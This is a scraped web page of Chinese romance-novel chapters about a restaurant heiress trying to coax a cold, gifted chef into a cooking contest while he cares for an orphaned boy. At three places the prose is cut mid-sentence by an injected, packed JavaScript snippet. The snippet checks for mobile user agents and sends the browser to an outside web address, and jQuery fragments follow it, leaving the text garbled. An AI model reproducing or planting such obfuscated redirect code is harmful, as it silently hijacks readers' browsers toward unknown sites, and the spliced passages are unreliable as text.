老板啧啧称赞她会说话,听说她要买大白刁,惊奇不已,“你爸又要做大白刁了?我可是好几年没吃过你爸做的大白刁了,那滋味儿还真令人想念呢!” “先看看好不好卖,要是好卖以后少不了找您进货,可得算便宜点喔!” 老板捞起一条大白刁,嘴里不住保证:“那是肯定的,这条你看看行不行?” 大白刁骤离水池,张大嘴拼命吸气,身子一扭一扭地翻腾,溅了洛苏和黎祁一身水。 黎祁轻轻把洛苏往身后梢了梢,两手扣住大白刁的腮,提起来仔细看。 触手弹性十足,鱼身完好,没有任何受伤的痕迹,鱼鳞紧密光滑,鱼眼清澈透亮,鱼鳃鲜红,的确是一条好鱼。 他又凑近闻了闻,一股清新的淡水味。 他抹了抹脸上被溅到的水渍:“老板,就要这条。” 老板见他一举一动很内行,又是个生面孔,就跟洛苏打听:“酥酥,这是个行家里手啊,是你……” “我们家的新厨师。” 这回不等老板误会,洛苏抢先回答。 “哦哦……”老板连声应和,脸上却仍然是好奇的神情。 黎祁对他们的目光已经免疫,提着鱼往外走,身后传来洛苏清甜的嗓音“叔,回见啦!” 菜市场外停满了各种车,只剩下窄窄一条路供人通行。不时还有开得飞快的电动车擦肩而过,令人心惊胆战。 洛苏眉飞色舞地跟黎祁讲述路边的店铺有多么好吃。 “这个炸炸是我从小吃到大的,尤其是鸡腿,外酥里嫩,特别入味儿。”她指着一家招牌老旧的小店。 黎祁循声看,是一家炸物店,店面看起来不甚干净,招牌上还有油污。 他洁癖发作,低声回答:“油炸食品很不健康。” 洛苏撇撇嘴,又指着另外一家卤味店,“这家店的鸭脖特别好吃,虽然不是什么大品牌,但是鸭脖很新鲜,现卤现卖,我每次来这边都要买两根……” “都是僵尸鸭脖。” 洛苏扭头要跟他争辩,一辆电动车突然迎面疾驰而来,正好在洛苏的视线盲区,她还没弄清楚发生了什么事,就被黎祁长臂一勾,失去重心跌到了他怀里,额头正好撞到他胸口,痛得厉害。 “干嘛呀?” 洛苏慌忙伸手想要推开他。 可黎祁早已主动后退一步,离她远了点。 “不想有人因为嘴馋送了命。”他意味深长瞟了马路对面的卤味店一眼,眼神中分明是嘲笑和轻蔑。 “人生在世,吃喝二字。能吃是福!” 洛苏知道自己还嘴得有些软弱无力。被黎祁身上的气味一熏,她忘了自己原本要说的话。 做厨的人身上通常是一股油烟味,洗都洗不掉。父亲洛玉柱和冬瓜身上都有,有时候甚至不用靠近,都能闻到那股气味。 谈不上难闻,但就跟做饭的不爱吃饭一样,这油味闻多了好像自己也变成了厨师,食欲也跟着退化了。 可黎祁身上没有。既没有油味也没有烟熏味。他不抽烟、不喝酒,讲卫生得甚至近乎洁癖。 他身上的气味很淡很淡,有点像秋天的树林里,木头被阳光照射后的气味,清冽干燥,又有层薄薄的暖意。 洛苏吞了吞口水,又指着一家做老式蜂蜜蛋糕的店:“那……那家的老鸡蛋糕特别好吃,蓬松柔软,我每次买一打……” “脂肪严重超标。” 洛苏忍无可忍,皮笑肉不笑地问他:“行,那你说什么是健康的、新鲜的、好吃的、不长胖的食物?” 黎祁垂头看她一眼,声音低沉却自信:“我做的就是。” …… 剩下的一段路,洛苏再没跟他说一句话。 回到店里已经到了晚市的预备时间,大家各司其职,直到九点多,客人陆续离开,终于能歇口气了。 丸子饿得前胸贴后背,靠在椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207648|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上声如蚊讷:“大白刁好了吗?我要吃两碗饭。” 洛苏走出收银台,往她手里塞了一个沙琪玛,“看你下次还敢不敢不吃午饭。先垫一垫吧,我去厨房看看。” 灶台都熄了火,油烟机“轰轰”转着,调料味和食物残余的香气混合在一起,让洛苏肚子里的馋虫动了。 她也饿了。今天生意不错,她没空吃零食,一直跑进跑出帮忙点菜和收银。现在进了厨房,恨不得吞下一头牛。 冬瓜靠着操作台在休息,配菜是很辛苦的,开市前要做准备工作,灶台开火了要随时关注大厨的需要,虽然不用一直站在灶台边,但是一刻也不能掉以轻心,每次开市就跟打仗一样。而黎祁又是个不爱跟部下沟通的将领,他只专注于挥舞自己的武器,若不是有洛玉柱这个元帅坐镇,这厨房一天憋不出几句话,将不知兵,兵不知将。 黎祁没休息,正在认真处理鱼。洛苏想看看他怎么做清蒸大白刁,靠着门框不出声,静静看他动作。 他动作漂亮爽利,刮鱼鳞又快又好,钢刷在他手里挥洒自如。紧跟着剖鱼腹、清内脏,一条鱼两三分钟就处理干净。 洛苏很是佩服。每次做鱼丸都要处理上百条鲢鱼,非常耗时耗力,要是大家都有黎祁这样的本事,效率就高多了。 可是,让大厨处理那么多鱼,是不是有点不厚道? 洛苏的天平在十万块和良心之间挣扎起来。 黎祁在鱼身上划开几道口子,又往鱼肚里面抹了少许盐,淋上一点料酒去腥…… 十分钟后,他把装着腌制好的鱼的盘子放进了蒸柜。 “这样蒸不会太慢吗?” 冬瓜问出了洛苏的疑惑。 一般餐馆蒸鱼都是直接在蒸格里蒸,这样鱼熟得更快,客人不用等那么久。 “是慢一点,但是原碟蒸才能最大限度保持鱼的鲜味,来吃这道菜的人不会连几分钟都等不了,如果只想追求快,那干脆去吃快餐。” 冬瓜哑口无言,悻悻地缩了缩肩膀。 洛苏抬手看表计时,八分钟,蒸柜“叮”的一声结束了工作。 黎祁把鱼端出来,倒掉蒸出来的水分,去掉葱姜,然后就是蒸鱼的常规操作,淋热油,发出香味。 随着“滋滋滋”的声音,这道清蒸大白刁出锅了。 一缕翠绿的香菜点缀在洁白的鱼身上,鱼皮微微绽开,露出白皙的鱼肉,像一道道波浪,整齐好看。若是绽得太多,鱼就蒸过头了,若是没绽开,那肯定没熟透。 “嗯——好香!” 洛玉柱从外面进来,淡淡一眼看过去,就判定这道菜成功了。 色香俱全。闻香下马,光这香气已经足够吸引人驻足。鱼身完整,白绿相间,鱼眼睛栩栩如生,外形也足够漂亮。 他拍拍女儿,示意招呼大家吃晚饭。 洛苏把手拢成喇叭状,“吃饭啦!吃饭啦!” 黎祁做了个“请”的手势,示意大家可以品鉴他的清蒸大白刁。 老豆大胆夹了第一筷子。 丸子生怕下手晚了,紧跟着夹了第二筷子。 “老豆,怎么样?”洛玉柱不动筷,却明显已经了然于胸。 “好吃好吃!鱼肉细嫩鲜甜,几乎吃不出什么调料味,绝对原汁原味。”说完,他扒了一大口米饭。 “丸子,你觉得呢?” “我以前吃鱼不蘸鱼汁就觉得没味道,但是这鱼不蘸鱼汁也好吃。” 洛苏吃鱼挑剔,不吃刺多的也不吃鱼肚,刺多的麻烦,鱼肚太软,她专挑鱼脸肉吃。 鱼脸肉就那么两块,她细细回味,很嫩。鱼脸肉是特别容易蒸老的部分,一旦老了肉就变得很紧,哪怕还保有鲜甜的味道,口感也大失水准。 也很甜。一般最后淋油都淋在鱼身上,鱼脸肉没有沾到任何调料,就是原本的味道。若是鱼的品质好,哪怕没有调料,肉质也是鲜甜的。 这条鱼不仅本身品质好,蒸得也恰到好处。黎祁不仅会选鱼,也会做鱼。 洛苏美滋滋地想,重新上这道菜,大概又能增加不少收入吧。 朝十晚十的工作时间是不是短了点?改成朝八晚十?一天工作十二小时会不会太缺德了? 12. 比赛 黎祁从来没觉得这么忙过。 以往自己摆摊,他早上睡到自然醒,然后去菜市场买各种材料,三个小时就能做好所有准备工作。下午四点再慢悠悠出摊,八点前就能收摊。满打满算,一天工作不到八小时。 可现在,他感觉自己像陀螺,根本停不下来。 客人一拨接一拨,幸好他年轻,身体结实。他突然能理解洛苏为什么那么着急挖自己墙角了。 干这活儿,超过五十岁就是折寿! 虽然洛玉柱还竭尽全力留在厨房,尽量分担他的工作。但是他腰和腿都不好,完全不能久站,厨房主要还是靠他和冬瓜。 最近生意越来越好,他有时候一天要站上六七个小时。午市还好,一般两个小时就差不多结束了。晚市最难捱,四个小时能结束就算走运了。 他突然有点后悔一次性跟洛苏领了工资,这种只有投入没有回报的日子,不是他以前最讨厌的吗? 他发现自己好像掉进了洛苏的陷阱。她用一根不大的胡萝卜,把他引进了一个温水池子。等他发觉上当的时候已经浑身湿透,直接出来会着凉,只能一直这么泡着。 比如现在,苏爱云把他堵在院子里,说单独给他炖了一盅桂圆红枣茶,他最近太忙了,喝了补补元气。 洛玉柱也在一旁帮腔:“最近辛苦小黎了,你苏姨不会做饭,但是炖各种药膳补汤是拿手绝活,快趁热喝。” 他看到洛苏躲在院门后面,笑得很鬼祟。 接也不是,不接也不是。 这绝对是陷阱,类似那种把猪养肥了再杀的杀猪盘! “谢谢苏姨。冬瓜也很辛苦,我分一碗给他。”黎祁接过炖盅,不着痕迹地瞪了洛苏一眼。 “他有,这是你的,快喝吧!” 正在厨房收拾的冬瓜突然打了个大大的喷嚏,他擦干手上的水,揉揉鼻子自言自语,难道感冒了? 苏爱云爱怜地看着黎祁,心里一直感叹,真是个好小伙子!干活勤勤恳恳,从不抱怨,长得一表人才,她越看越喜欢。要是能一直留在宝庆楼多好,可是酥酥说他只愿意干一年? 没关系,钱留不住人就感情留人。她不信她的母爱打动不了这个没爹没娘的苦孩子。 洛玉柱坐在门口和老豆闲聊,洛苏整理好一天的账也跑到他们身边坐着,不时插一句嘴,三个人有说有笑。 门口的梨树长出细碎的白色花苞,在夜色里格外显眼,春天已经来了,气温一天比一天高,要不了多久,这些梨花就会开了。 “爸,你看,三月份要举办江城老字号大赛。”洛苏刷着手机公众号,眼睛一亮。 洛玉柱把手机拿近点,努力看屏幕上的字。他有点老化,最不耐烦看手机。 “营业十年以上的餐厅都可以参加,评选出十家单位授予‘江城老字号’的奖牌,还会在全市各大官方平台上进行重点推介。” “那不是出名的好机会吗?虽然咱宝庆楼也算有名,但现在很多年轻人不知道啊,他们就喜欢通过什么公众号、直播找吃的。”老豆连声附和。 洛玉柱听他俩一说,也来了点兴趣。他年轻的时候也参加过一些比赛,但那个时候是纸媒时代,获奖了也只是在报纸上刊登一则图文,真正传播口碑还是要靠食客口口相传,以老带新。 现在时代变了,什么公众号、直播、短视频……打广告的途径太多了,他搞不懂规则。不过他知道女儿也兼职搞这个,还赚了点钱。之前他也配合女儿拍过一些照片,但并没有什么影响,生意还是半死不活的,索性就放弃了。 但现在情况不同了,黎祁来了,生意也好了许多,如果去参加这个比赛再让黎祁出镜拍点视频和照片,会不会效果更好? “只要营业十年以上的餐厅就可以参加?” “是的,比赛分为两部分,一个是菜品竞技,一个是品牌文化讲述,菜品竞技这个好说,品牌文化讲述比较难。” 洛苏很快就明白了这个比赛的内核。等于是文武两个方面的评选,菜做得再好吃,说不好品牌由来和发展历程也没办法获胜。老字号的重点不仅在“字号”更在一个“老”字。 北京的楼外楼、上海的德兴馆、杭州的知味观,无不是在历史的洪流中顽强生存下来,才成为美食界的标杆。历史的神秘和厚重,增添了这些馆子的质感。 一个城市的餐饮品牌发展历史是构成城市美食文化的重要部分。如果宝庆楼能挂上江城老字号的牌子,再叠加省级非物质文化遗产项目,那无疑会成为江城美食文化史中浓墨重彩的一笔,对现在的宝庆楼来说,即便不是雪中送炭,也是锦上添花。 “那就参加试试。”洛玉柱听女儿说完,心中也燃起了斗志。 他年轻时都不怕比赛,现在老了难道还怕吗? 接下来的日子,父女俩分工明确,洛玉柱闲暇的时候一心研究用哪道菜参赛,洛苏每天一下班就专心研究怎么进行品牌文化讲述。讲述人当然非她莫属,自家品牌的发展历史,没有人比她更熟悉。 在报名截止日期的前一天,洛玉柱终于决定还是用自家拳头产品鱼丸参赛。 这是宝庆楼百年历史最好的见证,从他祖父那代起,宝庆楼从一个只卖鱼丸和几样小菜的破旧小餐馆发展为一栋两层知名酒楼。虽然后来毁于战火,又在时代浮沉中销声匿迹过一段时间,但他父亲又在四十年前新的时代潮流中重建了宝庆楼。传到他手上,宝庆楼鱼丸成为省级非物质文化遗产,虽然馆子还是个小馆子,但总不至于无名无姓。 宝庆楼的发展史,不仅是一家餐馆的历史,更是近代历史到现代文明的缩影。 没有什么比鱼丸更能代表宝庆楼。 打烊的时候已经是十点多了。今天生意格外好,洛玉柱不得不上手帮忙,黎祁一个人根本忙不过来,好几次被外面催着上菜,他只得忍着腿疼在炉灶边站了两个小时。 “爸,这是膏药,你先贴着缓缓,明天还是去医院看看吧。” 洛苏敲门进来,把刚刚出去买的膏药放到洛玉柱手边。 洛玉柱的裤腿挽到膝头,小腿上青筋毕露,粗粗的血管像蚯蚓一样弯弯曲曲爬满小腿,看起来触目惊心。 “过几天就要比赛了,比完赛再说吧。” 洛玉柱贴上膏药,心情有些沉重。 那个老生常谈的话题又一次浮上心头。 要是酥酥是个儿子多好! “你这样还能比赛吗?”苏爱云担忧地蹲下/身检查丈夫的腿。 “站两个小时没问题。” 洛玉柱放下裤腿,故作洒脱地拍拍胸膛,不想让妻女担心。 第二天上午十点,街坊邻居们罕见地发现最近生意一直很好的宝庆楼居然没开门。 骨科病房老人居多,不时有坐着轮椅的病人被家属推着在走廊里遛弯。 洛玉柱一动不动躺在床上,看着打了石膏的腿发愁。 他半夜起床上厕所,腿抽筋摔倒在卫生间,大腿骨折。 妻子慌了神,幸好女儿沉着冷静,第一时间叫了救护车连夜把他送到了医院。幸好只是骨折,不算太严重,可是伤筋动骨一百天,五六十岁的人了,摔这么一下还是很遭罪。 “店里怎么样?”他问妻子苏爱云。 “都……都好。” 苏爱云嘴上安慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207649|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丈夫,心里却急得不行。 两个小时前,洛苏发信息给她,说要关店几天。她只顾着盘算关店几天的损失,甚至忘了问女儿为什么。只记得按女儿的嘱咐行事,瞒着丈夫,假装店里一切正常。 洛苏坐在办公室里也在发愁。安顿好父亲,她直接去学校上班,虽然是美术老师课不多,但是班还得坐。 可刚刚上了公交车,就接到黎祁的信息。 “我有事,要请两天假。” 晴天霹雳。没有大厨开不了店,她只得赶紧通知其余人,关门放假两天。 想问问黎祁到底怎么回事,请假也不提前说!可不管她怎么打黎祁的电话,他都没接。 下班后洛苏赶到医院看望父亲,听到店里生意很好,洛玉柱的苦瓜脸终于露出了笑容。 可他笑了没一会儿,又拉长了脸。 “比赛肯定是参加不了了,酥酥,你跟主办方说一下,我们退赛吧。” 这个问题洛苏已经想过了。父亲不能参加比赛不代表宝庆楼不能参加,只要有人代表宝庆楼就行了,是谁有什么关系? “我想请黎祁代表宝庆楼参加比赛。” 夫妻俩面面相觑,苏爱云点头:“这是个主意,小黎的厨艺不比你爸年轻的时候差。” 洛玉柱沉默了一会儿,摇头否决:“我不同意,他去比赛赢了还好说,万一输了……就算我们不说什么,以他的性子也会觉得过意不去。犯不着为了这个比赛生了隔阂。人家是来当厨师的,可不包括替我们参加比赛。” “可他本来就是我们宝庆楼聘请的厨师,代表宝庆楼参加比赛不是很正常吗?”洛苏还想争取,这是眼下最好的办法。总比退赛要好。 “酥酥,你别忘了,小黎只签了一年的合同,这两个月我也看出来了,他肯定是遇到什么急难才来咱们宝庆楼打工的,他的性子就不是那种愿意受人管的。一年后他如果真的要走,咱们也拦不住,还是得想想别的办法。” 洛玉柱垂头丧气。他发自内心地欣赏黎祁,天赋和技巧很少同时青睐一个人,可他庙小,留不住这尊有个性的大佛。 “跟他说说好话不行吗?我觉得小黎只是不爱说笑,其实心地很善良,那天我看到他拿剩饭剩菜喂街边的流浪狗,对小动物都这么有爱心,大家相处了几个月不会见死不救吧?” 苏爱云语气凄凄,她总觉得黎祁是个心地柔软的人。起码他跟自己说话的时候,总是轻声细语的。她也尽量像个母亲一样关怀他,一方面是觉得没爹妈的孩子可怜,一方面想用感情打动他,让他一年后愿意留下来。尽管带着目的,但那些举动都是真心的。哪怕他还是坚持要走,她也能理解。 “这次帮了万一还有下次呢?总不能次次求着人吧?这两个月生意好了,我们就大意了,以为以后一直能这样,其实现在都是靠小黎啊,咱们不能不讲良心,不给人涨工资就算了,还让人干私活去比赛,这太不厚道了。实在不行,一年后咱们不做了。” 洛玉柱的心沉到了谷底。最差的结果就是一年后主动关闭宝庆楼,他恨自己的身体不争气,也做不到看着宝庆楼慢慢经营不下去直到倒闭。 主动关门总比被迫倒闭好。 洛苏沉默不语,脑子里一团乱。以往遇到任何困难,她都是积极乐观的,相信天无绝人之路。 可今天,父亲骨伤在床,黎祁无影无踪,餐馆被迫歇业,她引以为豪的祖业其实根本不堪一击,父亲生个病,黎祁请个假,就会被击穿。 比赛如果输了,她无怨无悔,输得起。可连参加都不能参加,这怎么能让人甘心? 一年后,宝庆楼真的要关门大吉吗? 13. 诱惑 两天后,黎祁回来上班了。只是面色憔悴,头发凌乱,和以往整洁清爽的模样大为不同。 菜菜小心翼翼偷看他,忍不住和丸子窃窃私语。 “他好像不对劲。” 丸子毕竟年长,吃过的盐比菜菜过的桥还多,点头认同:“是的,看起来好像受了什么打击。难道失恋了?” 她这么一说,菜菜目露喜色:“真的?那太好了!” 丸子无语白她一眼:“他就算离婚了,你也没机会。” 赶在晚市前,洛苏下班回到家。幸好她任教的是小学,放学很早,晚上才能帮忙照应生意,不然这几天简直是兵荒马乱。 黎祁专心做菜,她也不想忙中添乱,一边收银一边在心里打草稿,准备用三寸不烂之舌说服他。 冬瓜见黎祁的脸比往常更冷,心里发怵。以前黎祁也总是面无表情,但是没有杀气,可今天就算他迟钝也能感受到他有心事,甚至有些烦躁,颠锅的力道都比平时更大。 终于熬到收市,菜菜和丸子打扫桌面,老豆收拾凳子,冬瓜端着几盘菜出来招呼大家吃饭。 “不知道老板怎么样了……”老豆夹了一筷子肉,有些心不在焉。 “骨折又不是什么大事,休息几个月就好了。”冬瓜虽然心里也担心师父,但是不想说丧气话。现在最重要的就是把店看好,等师父和师母回来。 “那可不一定,伤筋动骨一百天,再说老板都快六十了,摔一下说不定会有后遗症什么的。以后还能不能做菜都难说。” 丸子随口说,手下筷子不停,一盘子肉都快被她一个人吃光了。 “啊!那咱们不会要失业吧?”菜菜忧心地叫起来。她可不能失业,虽然这份工作很辛苦,工资也不高,但是老板好说话,同事也好相处,很适合她这样没学历没背景的人。 几个人你一句我一句,说得无比凄惨绝望,桌上的饭菜直到冰冷都没吃完。 “哐”的一声,黎祁突然重重把碗放到桌上,起身就去了后院。 大家见他黑脸不知道哪句话说错了得罪了他,面面相觑,用眼神互相埋怨。 “吃饭吃饭!别杞人忧天了,我失业你们都不会失业的,把心放到肚子里!我爸就是骨折而已,休养几个月就好了。再说,不是还有黎大厨吗,我看是晚上生意不够好,你们太闲了!” 洛苏习惯了他们口无遮拦,真计较也没意思,他们本来也都是些可怜人,忧心生计并没错。作为老板她只能佯怒,提醒他们可以换个话题了。 虽然平时随便惯了,但终究是主客有别,见洛苏有点不高兴,大家纷纷埋头吃饭,不再说话。 院里灯光昏黄,黎祁坐在天井的台阶边,手肘搁在膝头,十指交叉,表情严肃,明显在心烦什么。 洛苏轻咳一声,走到他身边,故作轻松地问:“你的事情处理好了?不用再请假了吧?” 黎祁没有回头,只低低“嗯”了一声。 洛苏一喜,起码这段时间不用再关店了。虽然门面是自己家的,可每天的人工水电也不少,就算关店人工费也要照付,关一天就赔一天钱。 “有件事,我想听听你的意见。”洛苏学他坐下,开始铺陈打好的腹稿。 黎祁扭头看了她一眼。 洛苏明白这是示意她继续说的意思。死白豆腐,说句话能死啊! “我们报名参加江城老字号大赛的事儿,你知道吧?” 黎祁沉默。 “本来这是个很好的机会,如果得奖了就会有很多关注和流量,现在是自媒体时代,有流量就能变形,馆子的名气打出去了,生意肯定会更好,到时候大家都能涨工资。可是现在我爸肯定参加不了了,白白浪费这个机会太可惜了……” 黎祁配合地耸耸肩。 洛苏欣喜,有希望! 她的计划是晓之以理动之以情,最关键的是,诱之以利。跟黎祁这样的人谈感情,她不抱什么希望。说不定谈钱更容易。反正,先画饼再说。既然是画饼,那就索性画大点。 “到时候每个人涨五百,哦,不!涨一千!” 黎祁点头认真地听她说。 “还能组织员工旅游,所有想要的福利通通安排上,总之宝庆楼好就是大家好,大家好就是真的好!” 黎祁终于嗤笑一下,看着洛苏,语气中满是事不关己:“可是,我已经领了一年的工资,这些和我都没什么关系吧?” 靠! 洛苏忘了这茬。 难怪所有人都担心洛玉柱的状况和馆子的未来,只有黎祁无动于衷。 她差点忘了,他早就预支了一年的工资,不管这一年生意是好是坏,他都不会受到影响。只要干满一年,哪怕每天在这拍苍蝇,他都无所谓。 而且,听他的语气,等合约结束,他肯定就要跑路了。 洛苏提醒自己,冷静!冷静! 这世界上就没有诱惑不了的人,除非诱惑不够大! “你肯定也清楚,凭你的厨艺一年怎么也值二十万,甚至更多,我给你十万是占了你的便宜。我知道你肯定是遇到什么难事急着用钱,不然不会来宝庆楼。我保证,如果生意好了,我肯定加你工资,不说翻倍,涨百分之五十我还是可以做主的。” 黎祁挑眉。 洛苏见他上钩心里又气又喜,她还有十万块私房钱,大不了全给他!只要他愿意去参加比赛。 到时候赢了比赛,生意更好,父亲的伤也好了,她就暗中物色更好的人选,把这个死人脸踢走!看你还拽不拽! “行吗?”洛苏眨巴着眼睛期待地看着他。 关键时刻,美人计也得用上。 黎祁盯着她看了几秒,突然笑了笑。 不知道为什么,洛苏突然有点心虚,她觉得自己好像已经被黎祁看穿了。但戏已经开锣,哪怕拙劣也得坚持演下去。 她也笑了笑,这次笑容更加甜美。她知道自己笑起来很好看,有两个小小的酒窝,眼睛会变得像月亮一样弯弯的。 黎祁看着洛苏刻意挤出来的假笑,突然觉得心情好了许多。 她只有在有求于他的时候才会这样装乖巧、摇尾巴,之前费尽心机请他来当大厨的时候也是这样。 可他知道,她翻脸比翻书还快。说不定转身就在背后骂他“死人脸”。 不过这种你知道对方底牌,对方却不知道你的底牌,还在苦苦挣扎演戏,甚至也不知道你已经看穿的感觉,挺不错。 他收起笑容,语气平淡:“我不参加比赛。” “为什么?比赛能检验一个厨师的实力,难道你就不想知道自己到底是什么水平吗?” “不想,也不需要,我知道自己是什么水准,不需要别人来评判。你放心,尽管我不帮你参加比赛,但是每天的菜我还是会认真做的,这是我专业操守。” 黎祁起身拍拍裤子上的灰,走回了大堂。 第一回合,KO。 只不过被KO的是洛苏。 十一点,黎祁回到了他租的房子,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207650|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那个老小区,四楼房间亮着微弱的灯光。 他在门口拍拍身上看不见的烟尘,然后轻手轻脚地打开门。 “王阿姨,辛苦您了,明天还是请您帮忙照顾一下小橙子。” 黎祁掏出两张红色钞票塞到王阿姨手里。 王阿姨是住在他楼上的退休老人,老夫妻心地善良但一辈子没孩子,见小橙子这可疼的模样,主动提出帮他照看。 “用不着用不着!你也很不容易,上班又忙还要照顾一个这么小的孩子。不过这孩子倒很乖,也不吵闹,九点钟就睡着了,好带。”王阿姨把钱塞了回去。 “你不收我就不好意思请您帮忙照看了,于情于理,这都是应该的。” 黎祁坚持,王阿姨只好收了一张,“用不着这么多,你以后养这孩子花钱的地方还多着呢!” 黎祁不说话。他心里有点乱。这几天发生了太多事,虽然知道会面临很多困难,可他不忍心什么都不做,看着小橙子被送去孤儿院。 不需要向任何人打听,他太知道小橙子进了孤儿院会面对什么样的生活了。 像小橙子这样做过重大手术的小孩,哪怕长得漂亮可爱,也不会有人愿意收养。谁也不想领个病秧子回去。 就算有人愿意收养,又怎么能确定收养人会好好对待他呢? 前路完全是未知的。 他依稀记得,小时候也有老师说有人会到孤儿院来挑选孩子,让他们乖一点,这样就可以被领养。 其他小孩都信以为真,那几天都努力表现,希望能被人领走。 只有他,也许天生冷漠,他根本不相信有人会把没有血缘关系的人当成自己的亲生孩子。因为他的亲生父母已经用实际行动告诉他,连亲生骨肉都可以抛弃,何况是领养的无亲无故的人? 所以只有他冷眼旁观,甚至对其他人拼命表现的举动心生厌恶和嘲笑。 没想到,偏偏有人看中了他。 当老师来问他愿不愿意跟那对戴眼镜的夫妻走的时候,他果决地摇头。 他哪儿都不去,孤儿院最适合他。 最后,不出他所想,一个孩子都没有被领走。热切了几天之后,孤儿院又恢复了往常的寂寥。他看到那些曾经满怀希望的孩子变得更加沉默寡言和胆怯。 他不会允许这样的事情发生在小橙子身上。 如果上天注定他们俩都是天煞孤星,那么他就和小橙子作伴吧。 王阿姨开门准备回去,想起了什么又转回身:“对了,小黎,小橙子很聪明,但他该去上学了,不然就耽误了。他今天还问我为什么别人都去上学了就他在家里。我随便编了个理由,只怕他慢慢长大就不好哄了。” 黎祁早就想过这件事,但周姨突然脑溢血去世,小橙子成了孤儿,他来不及考虑其余事情。 “好,我会想办法的。”黎祁点点头,目送王阿姨上楼,关上了门。 小橙子睡得很香,嘴角还带着笑意,大概是做了什么美梦。 黎祁租的房子不大,两室一厅,房间都很小,他让小橙子睡在朝南的那间。小家伙来了几天,适应得很快。 他快速洗漱完,开始思考送小橙子上学的事情。 上学,是不是需要户口?他打开手机想搜一下这一区的入学政策,突然发现下午有个陌生号码给他发了一条短信。 “黎先生您好,我是临江区民政局的工作人员,给您打电话没接所以给您发短信,请您看到短信之后在方便的时候给我回个电话。” 14. 交换 洛苏的人生信条很多,其中一条就是“不到黄河不死心”。 黎祁是个难啃的骨头她早就知道,不过她牙口好,就爱啃硬骨头。 接下来的几天,只要黎祁不忙,洛苏就像冤魂一样缠着他。 吃饭她坐他旁边,他夹哪道菜她就夹哪道菜。他上厕所她等在门口,吓得老豆以为走错了门。他在院子里干活她守在旁边闲扯,不时笑眯眯问一句累不累、饿不饿、渴不渴? 你不是活人勿近吗?我就死死粘着你,让你受不了,让你烦、让你躁,心防一旦松懈,就好再次开启谈判了。 午休的时候,老豆几个人凑在一起交头接耳。 “不对劲不对劲,酥酥太不对劲了!”老豆看着院里唱独角戏还笑容满面的洛苏,起了一身鸡皮疙瘩。 “酥酥和黎祁……” 丸子两个拇指对在一起,挤了挤眼睛。 “我不信!” 菜菜撅起嘴,气鼓鼓的。 “你们……胡说!”冬瓜脸涨得通红,有点气急败坏:“酥酥,才不会喜欢他呢!” “那你说她这几天为什么这样?眼睛珠子快沾到黎祁身上了,她这样看过你吗?” 老豆知道冬瓜的心思,可这傻冬瓜还不知道自己为什么出局,或者说他根本从来就没入过局。 “我觉得他们俩挺配的,俊男美女,老板又没儿子,要是黎祁成了他女婿,不是正好接班吗?以后也不用愁大厨的问题了,近水楼台多好。” 丸子一语中的。大家无话可说。 菜菜不甘心,但想到黎祁如果一直留在这里,那宝庆楼的生意会越来越好,她就不用失业了,面对金钱诱惑她的立场开始动摇。 “是很配。反正黎大哥喜欢谁也不会喜欢我。酥酥对我那么好,输给她我心服口服。” 其余三人整齐划一地“切”了一声。 “其实这对大家来说都是好事啦,老板有这样的女婿宝庆楼发扬光大指日可待,我们作为原始员工肯定能涨工资!” 老豆一边剔牙一边跟大家分析利弊,丸子和菜菜点头如小鸡啄米。只有冬瓜,脸越来越白,气得浑身哆嗦。 “冬瓜,你也别不服气,我们都知道你喜欢酥酥,但是酥酥不喜欢你呀,老板需要一个厉害女婿,不然这宝庆楼迟早要倒闭,你愿意看着宝庆楼倒闭?你也别怪黎祁,要怪只能怪你自己厨艺不精,你的厨艺要是像他那么厉害,还轮得到他?老板也得站你这头。” 冬瓜愤怒至极,可老豆说的句句属实。接下来的几天,他看黎祁处处不顺眼,以往两个人在厨房或多或少总要说几句话,这几天他一声不吭,干活也敲敲打打,惹得黎祁不明就里,但他也不问。 一帮怪人。 黎祁对他们的奇怪行为见怪不怪。老豆老对着他意味深长地笑,菜菜看他的眼神有些哀怨,只有丸子还算正常,吃饭的时候照例对他的手艺赞不绝口。 “你与其缠着我,不如好好管理一下你的员工,我觉得他们不太正常。” 黎祁对洛苏的盯人策略感到可笑。 不过这很符合他对洛苏的印象,初见时,她就是这样死缠烂打。 故技重施罢了。 可他现在不缺钱,没有妥协的理由。 “只要你帮我参加比赛,不论输赢,我给你一万。如果赢了,我给你三万。” 洛苏不觉得她的员工有什么问题,他们一直是这样神神叨叨的。当务之急,是要让黎祁参加比赛。把她的私房钱豁出去也值得。 “我不卖艺。”黎祁打开柜子拿了一瓶料酒,只留下一个高冷的背影。 第二天午休,他没留在店里。他和民政局的人约好了要谈一下关于小橙子的事情。 直到晚市马上要开始了,他才姗姗归来。 